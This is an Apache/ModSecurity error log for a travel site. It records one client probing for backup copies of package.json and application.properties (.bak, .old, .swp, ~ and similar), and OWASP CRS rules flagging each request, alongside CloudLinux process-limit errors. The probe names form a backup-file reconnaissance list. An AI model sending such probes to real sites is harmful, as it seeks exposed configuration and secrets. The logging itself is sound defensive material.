[Fri Jul 17 08:55:20.258064 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/package.json.backup"] [unique_id "almgoBHlOGcokz2QIwTTJAAAAAM"]
[Fri Jul 17 08:55:20.258486 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /package.json.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/package.json.backup"] [unique_id "almgoBHlOGcokz2QIwTTJAAAAAM"]
[Fri Jul 17 08:55:20.258990 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/package.json.backup"] [unique_id "almgoBHlOGcokz2QIwTTJAAAAAM"]
[Fri Jul 17 08:55:20.259178 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.259185 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /package.json.1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/package.json.1"] [unique_id "almgoHRlmrtCoY_COpcl9wAAAAg"]
[Fri Jul 17 08:55:20.259357 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoBHlOGcokz2QIwTTJAAAAAM"]
[Fri Jul 17 08:55:20.259490 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/package.json.1"] [unique_id "almgoHRlmrtCoY_COpcl9wAAAAg"]
[Fri Jul 17 08:55:20.259597 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.259746 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoHRlmrtCoY_COpcl9wAAAAg"]
[Fri Jul 17 08:55:20.261147 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /package.json.copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/package.json.copy"] [unique_id "almgoC0HS8lGbZyK8qt3KgAAACM"]
[Fri Jul 17 08:55:20.261556 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/package.json.copy"] [unique_id "almgoC0HS8lGbZyK8qt3KgAAACM"]
[Fri Jul 17 08:55:20.261720 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.261885 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoC0HS8lGbZyK8qt3KgAAACM"]
[Fri Jul 17 08:55:20.263704 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.265848 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /package.json.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/package.json.save"] [unique_id "almgoO1pLmPpy2r_2CxfWgAAAA8"]
[Fri Jul 17 08:55:20.265913 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /package.json-backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/package.json-backup"] [unique_id "almgoPwooI4qY7Jg93pVaQAAABM"]
[Fri Jul 17 08:55:20.266062 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application.properties.bak"] [unique_id "almgoA7FYe46zHK_jL3P7QAAABk"]
[Fri Jul 17 08:55:20.266156 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/package.json.save"] [unique_id "almgoO1pLmPpy2r_2CxfWgAAAA8"]
[Fri Jul 17 08:55:20.266254 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.266276 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/package.json-backup"] [unique_id "almgoPwooI4qY7Jg93pVaQAAABM"]
[Fri Jul 17 08:55:20.266369 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoO1pLmPpy2r_2CxfWgAAAA8"]
[Fri Jul 17 08:55:20.266415 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.266466 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application.properties.bak"] [unique_id "almgoA7FYe46zHK_jL3P7QAAABk"]
[Fri Jul 17 08:55:20.266551 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.266576 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoPwooI4qY7Jg93pVaQAAABM"]
[Fri Jul 17 08:55:20.266677 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA7FYe46zHK_jL3P7QAAABk"]
[Fri Jul 17 08:55:20.269928 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /package.json.bkp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/package.json.bkp"] [unique_id "almgoCvekYYQ8uns4MwlcAAAAA0"]
[Fri Jul 17 08:55:20.270264 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/package.json.bkp"] [unique_id "almgoCvekYYQ8uns4MwlcAAAAA0"]
[Fri Jul 17 08:55:20.270394 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.270516 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoCvekYYQ8uns4MwlcAAAAA0"]
[Fri Jul 17 08:55:20.271093 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.271498 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".properties~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application.properties~"] [unique_id "almgoA5GPQ6hs4VrfMpBjwAAAAY"]
[Fri Jul 17 08:55:20.271967 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application.properties~"] [unique_id "almgoA5GPQ6hs4VrfMpBjwAAAAY"]
[Fri Jul 17 08:55:20.272087 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.272204 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA5GPQ6hs4VrfMpBjwAAAAY"]
[Fri Jul 17 08:55:20.273189 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application.properties.old"] [unique_id "almgoLoj0IkvhSCYadmBtwAAAAQ"]
[Fri Jul 17 08:55:20.273666 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application.properties.old"] [unique_id "almgoLoj0IkvhSCYadmBtwAAAAQ"]
[Fri Jul 17 08:55:20.273759 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.273874 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoLoj0IkvhSCYadmBtwAAAAQ"]
[Fri Jul 17 08:55:20.274000 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.278359 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application.properties.swp"] [unique_id "almgoKquHSHoCJK_V0SBWwAAABs"]
